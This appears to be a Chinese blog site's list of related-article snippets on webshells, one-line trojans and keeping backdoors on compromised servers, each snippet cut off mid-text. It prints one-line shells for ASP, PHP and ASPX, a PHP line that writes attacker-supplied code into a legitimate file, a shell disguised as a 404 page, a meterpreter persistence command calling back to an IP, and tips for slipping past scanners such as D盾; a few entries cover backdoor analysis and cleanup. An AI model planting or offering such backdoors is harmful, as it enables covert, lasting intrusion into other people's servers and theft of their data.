ASPX版菜刀一句话，留后门专用

首先解释一下为什么要做这个玩意:众所周知.net一句话是不能插入到文件之中的,除非那个页面使用Jscript编写,但是现在看来 Jscript市场很低,遇到的.net站基本都是C#.新建一个SHELL太过于明显,而且其中的eval更是在WEBSHELL扫描工具的淫威下直接出局.如果不能提权的话,那么过一段时间再打开往往面临的是大大的404.综上,利用.net会加载bin目录中的类库的特点和命名空间这个神奇的东西编写了这个程序,将文件放在bin目录并在文件中插入调用代码即可.可能你会说放在bi…

PHP、asp、aspx、JSP一句话

PHP.asp.aspx.JSP一句话原文地址:https://www.cnblogs.com/JoEcO01/p/11556413.html 1.asp一句话木马: <%eval request(“x”)%> 2.php一句话木马: <?php eval($_POST[g]);?> 3.aspx一句话: <%@ Page Language=”Jscript”%><%eval(Request.Item["x"],”unsafe”);%>…

ThinkPHP留后门技巧

原文链接:https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html 90sec上有人问,我说了还有小白不会用.去年我审计TP的时候留意到的,干脆分析一下代码和操作过程. thinkphp的I函数,是其处理输入的函数,一般用法为I('get.id')——从$_GET数组中取出键为id的值,post.cookie类似. let me see see I函数的代码: 01 function I($name, $defa…

利用Fiddler2和Proxifier分析你用的中国菜刀是否带有后门

为了避免自己辛辛苦苦拿下的站点被一些拿来主义者不费吹灰之力就据为己有,下面来教大家如何检测菜刀有没有留后门. 对于有没有后门这个问题,大牛们会说抓包看一下就行了,那如何抓包呢?有很多软件可以,这里使用的是Fiddler2(免费,E文,下载地址请问谷歌).另外由于菜刀本身不支持代理,所以我们需要一款软件中转一下,这里用的是Proxifier. 以上两款软件的下载.安装.配置过程略. 首先,设置Proxifier,配置文件 - 代理服务器,添加你的本地代理,Fiddler2默认是127.0.0.1:…

使用大白菜U盘进入PE后再次重启电脑会留后门的清理方法

使用大白菜U盘进入PE后再次重启电脑会留后门,这个后门主要是自动下载安装一些软件,比如金山毒霸等. 清除方法: 1.每次用完PE重启前,清理以下地方: ①c:\Windows\xxxxx.exe(查看详细信息时会显示大白菜U盘工具) ②C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp(删除全部vbs脚本)…

入侵者已经拿到了主机的管理员权限，请你列举几种留后门的方法：（windows和LINUX系统均可）

Webshell后门 XSS后门远控后门&rootit(windows&LINUX) SSH后门 SHIFT终端服务器后门系统用户账号克隆 SQL数据库扩展存储型后门 SQL数据库沙盒模式后门 Oralce/mysql自定义函数 Oralce的特权用户文件捆绑型后门下载系统用户密码HASH到本地进行破解 IIS/Tomcat/WEBLOGIC/APACHE应用型后门键盘记录 .... 后面的继续,HEHE 收藏感谢(0) 分享到:0 32 个回复 1#哲璇 (<小学结业生&…

meterpreter 如何留后门，使攻击持久化

安装后门方法一:meterpreter >run persistence -X -i 5 -p 443 -r 192.168.0.108 Persistent agent script is 609628 bytes longRunningPersistance ScriptResource filefor cleanup created at /root/.msf4/logs/persistence/EMASTER-8G5WOLV_20131206.5032/EMASTER-8G5WOLV_2…

PHP之编写日志文件留后门（免杀）

(我知道你们都喜欢干货,所以也没亏待你们,请到文末吧,成果附件已上传~) 本文原创作者:Laimooc(原名xoanHn) 鄙人宗旨: 本人秉着爱学习爱恶搞爱研究爱进步并且遵纪守法的心态写下这篇文章,目的在于和各位信息安全爱好者共进步共繁荣. 脚本功能与优点: 一句话:记录用户对程序的访问日志,就这么简单.然而这个日志被人修改过:a.后缀名可控制 b.日志内容可控制 c.是否生成日志可控制 d.免杀脚本研究综述: 1.利用xss打cookie的一点知识: 2.利用程序访问日志记录的一点知识:…

如何自己写aspx过狗D盾一句话木马

hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx 本文作者:i春秋签约作家——凉风引用i春秋作家团大佬@非主流对一句话木马的理解: 一句话木马的意思就是,我们制造了一个包含远程代码执行漏洞的web页面. 目录:0×01:我没有aspx代码编写基础,我该从哪入手?0×02:正式开始:从过狗菜刀配置文件里寻找思路0×03:再写一个:分析各种拦截机制,一一绕过0×04:总结 0×01:…

9. 那些强悍的PHP一句话后门

强悍的PHP一句话后门这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用404页面隐藏PHP小马: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head…

那些强悍的PHP一句话后门

强悍的PHP一句话后门这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马.利用404页面隐藏PHP小马: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head&g…

一些变态的PHP一句话后门收集

这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用404页面隐藏PHP小马 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body&…

强大的PHP一句话后门

强悍的PHP一句话后门这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的. 今天我们细数一些有意思的PHP一句话木马. 1.利用404页面隐藏PHP小马: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> <…

php一句话木马+中国菜刀拿服务器文件目录

使用工具: 中国菜刀一句话php木马 <?php @eval($_POST['123456']);?> 第一步,将php木马上传至服务器,为了方便我就直接在服务器上建立. [root@proxy html]# vim .php <?php @eval($_POST[']);?> 第二步,打开中国菜刀配置,密码为123456 点击确定之后,无其他问题,即可成功. 右键点击该链接,选择文件管理,即可查看到服务器的文件目录接下来..不用说了…

探索基于.NET下实现一句话木马之ashx篇

0x01 前言在渗透测试的时候各种PHP版的一句话木马已经琳琅满目,而.NET平台下的一句话木马则百年不变,最常见的当属下面这句笔者感觉有必要挖坑一下.NET平台里的一句话木马,经过一番摸索填坑终于可以总结出了.NET下的三驾马车,于是乎有了这个系列的文章.今天是第一篇着重介绍一般处理程序 (ASHX)下的工作原理和如何实现一句话木马的介绍,当然介绍之前笔者找到了一款ashx马儿 https://github.com/tennc/webshell/blob/master/caidao-she…

两种“新型”的javaweb后门(jspx和Java Logger)

利用这个可以突破st2下强制jsp跳转login.jsp 利用jspx解决jsp后缀被限制拿shell - Hack Blog | 黑客博客http://www.hackblog.cn/post/45.html 两种“新型”的javaweb后门(jspx和Java Logger) | HuGtion's Bloghttps://www.hugtion.com/?p=768 关于JavaWeb后门问题一直以来都比较少,而比较新奇的后门更少.在这里我分享两个我最近搞的比较有意思的JavaWeb…

Webshell和一句话木马

目录 Webshell(大马) 一句话木马(小马) 一句话木马原理一句话木马的变形 JSP后门脚本 Webshell(大马) 我们经常会看到Webshell,那么,到底什么是Webshell呢? webshell就是以 asp.aspx.php.jsp 或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.黑客在入侵了一个网站后,通常会将asp.aspx.php或jsp后门文件与网站web服务器目录下正常的网页文件混在一起,然后就可以使用浏览器来访问该后门文件了,从而得…

2017-2018-2 20155314《网络对抗技术》Exp2 后门原理与实践

2017-2018-2 20155314<网络对抗技术>Exp2 后门原理与实践目录实验要求实验内容实验环境预备知识 1.后门概念 2.常用后门工具实验步骤 1 用nc或netcat获取远程主机的Shell 1.1 Windows获得Linux Shell 1.2 Linux获得Win Shell 1.3 Mac获取Win shell 1.4 Win获取Mac Shell 1.5 Mac获取Linux Shell 1.6 Linux获取Mac Shell 1.7 Netcat扩展知…

PHP_GET后门，躲避任何安全软件

经常拿到一些比较好的php站想要留住.插入菜刀一句话,很容易被管理发现,不管是eval还是assert,就是管理发现不了,有时连接也会被各种的安全软件拦截.现在教大家一个简单的技巧.本人一直在用,留的后门没有被删过了. <?php file_put_contents('xpxp.php',"$_GET[uname]"); //此段代码插入它正常的PHP里面,最好插头部. 复制代码利用也很简单,在插入的PHP文件的后面加入get传参,http://xxxxxxx.com/xxx.p…

phpStudy后门分析及复现

参考文章:https://blog.csdn.net/qq_38484285/article/details/101381883 感谢大佬分享!! SSRF漏洞学习终于告一段落,很早就知道phpstudy爆出来有后门,爆出漏洞的过程好像还挺奇葩的,时间也不算很充裕,今天简单学习下. 影响版本目前已知受影响的phpStudy版本 phpstudy 2016版php-5.4 phpstudy 2018版php-5.2.17 phpstudy 2018版php-5.4.45 后门位置phpStudy…

20182217_刘洪宇后门原理与实践 EXP2

1.后门概念后门就是不经过正常认证流程而访问系统的通道. 哪里有后门呢? 编译器留后门操作系统留后门最常见的当然还是应用程序中留后门还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序. -- 下面是近些年的一些例子: 编译器:苹果Xcode后门事件.苹果Xcode后门事件中招的APP包括:微信.网易云音乐.滴滴出行.12306等76个软件,影响到几亿用户. 操作系统:政府VS厂商.苹果公开拒绝FBI要求设置后门的要求.那些没拒绝的当然不会说话. 操作系统:深入解读MS14-068漏洞…

创造tips的秘籍——PHP回调后门

作者:Phithon 原文连接:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html 最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如$_GET['func']($_REQUEST['pass'])之类的方法.万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的. 那么,我就分享一下,一些不需要动态函数.不用eval.不含敏感函数.免杀免拦截的一句话. 0x00…

PHP后门隐藏与维持技巧

在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普. AD: 0×00前言在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普. 以PHP-WEBBACKDOOR为例,抛砖引玉一个最常见的一句话后门可能写作这样 <?php @eval($…

ewebeditor编辑器ASP/ASPX/PHP/JSP版本漏洞利用总结及解决方法

这个编辑器按脚本分主要有4个版本,ASP/ASPX/PHP/JSP 每个版本都有可以利用的漏洞.判断网站是否使用了eWebEditor查看程序源代码,看看源码中是否存在类似”ewebeditor.asp?id=”语句,只要有此语句的存在,就能判断网站确实使用了WEB编辑器.另外一种方法就是站上新闻或者其他板块上找图片.附件等的链接,是否为admin/eWebEditor/UploadFile/xxxx.jpg之类格式.安全漏洞管理员未对编辑器的数据库路径和名称进行修改,导致可以利用编辑器默认路径…

实验二：MAL——简单后门 by：赵文昊

实验二:MAL--简单后门一.后门是什么? 哪里有后门呢? 编译器留后门操作系统留后门最常见的当然还是应用程序中留后门还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序. 二.认识netcat 这是一个底层数据,常被与其他工具结合起到后门的作用. 准备工作: 一个win7系统和一个Kali系统,还有Windows下的netcat应用. 步骤:在Windows下打开监听用Linux反弹连接Windows 接下来就可以在Windows命令行下输入一个linux shell,这里就使用l…

2018-2019-2 20165209 《网络对抗技术》Exp2：后门原理与实践

2018-2019-2 20165209 <网络对抗技术>Exp2:后门原理与实践 1 后门原理与实验内容 1.1 后门原理 -后门就是不经过正常认证流程而访问系统的通道. 哪里有后门呢? 编译器留后门操作系统留后门最常见的当然还是应用程序中留后门还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序. 1.2 实验内容任务一:使用netcat获取主机操作Shell,cron启动 (0.5分) 任务二:使用socat获取主机操作Shell, 任务计划启动 (0.5分) 任务三:使用MS…

2018-2019-2 20165114《网络对抗技术》Exp2 后门原理与实践

目录一.实验准备二.实验内容三.基础问题回答四.实验过程及步骤五.实验总结与体会六.实验中遇到的问题与错误. 一.实验准备 1.后门概念后门就是不经过正常认证流程而访问系统的通道. 哪里有后门呢? 编译器留后门操作系统留后门最常见的当然还是应用程序中留后门还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序. 一个相对狭义一点的后门的概念: 特指潜伏于操作系统中专门做后门的一个程序, "坏人"可以连接这个程序远程执行各种指令. 概念和木马有重叠后门成功的几个必…

阿里云提醒网站被WebShell木马后门的处理过程

昨晚凌晨收到新客户的安全求助,说是阿里云短信提示,网站有webshell木马文件被植入,我们SINE安全公司立即成立,安全应急响应小组,客户提供了阿里云的账号密码,随即登陆阿里云进去查看到详情,登陆云盾看到有这样的一个安全提示"网站后门-发现后门(Webshell)文件"事件等级:紧急,影响资产:阿里云ECS:ID,然后贴出了网站木马文件的路径地址:/www/wangzhan/safe/indnx.php. 网站安全事件说明:云盾检测到当成有异常进程在尝试向磁盘上写入WEBSHELL后…

PHP后门***详解

说起php后门***我就心有愉季啊前不久一个站就因不小心给人注入了然后写入了小***这样结果大家知道的我就不说了下面我来给大家收集了各种php后门***做法大家可参考. php后门***对大家来说一点都不陌生吧但是它的种类您又知多少呢本文为您浅析说明一些php后门***常用的函数. php后门***常用的函数大致上可分为四种类型 1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open2. 代码执行与加密: eval, ass…

奇淫异巧之 PHP 后门

整理大部分来源信安之路对于隐蔽来说,有以下几点要素: 1.熟悉环境,模拟环境,适应环境,像一只变色龙一样隐藏 2.清除痕迹,避免运维发现 3.避免后门特征值被 D 盾等工具检测到姿势一般过狗思路最一般的绕狗.后门思路就是 call_user_func('assert', $_REQUEST['pass']) 直接参数回调,将$_REQUEST['pass']传入的数据,传递给 assert 函数去执行. 双参数回调后门在 PHP5.4.8+ 版本中,assert 有一个新的可选参数 d…

【ASPX版菜刀一句话，留后门专用】的更多相关文章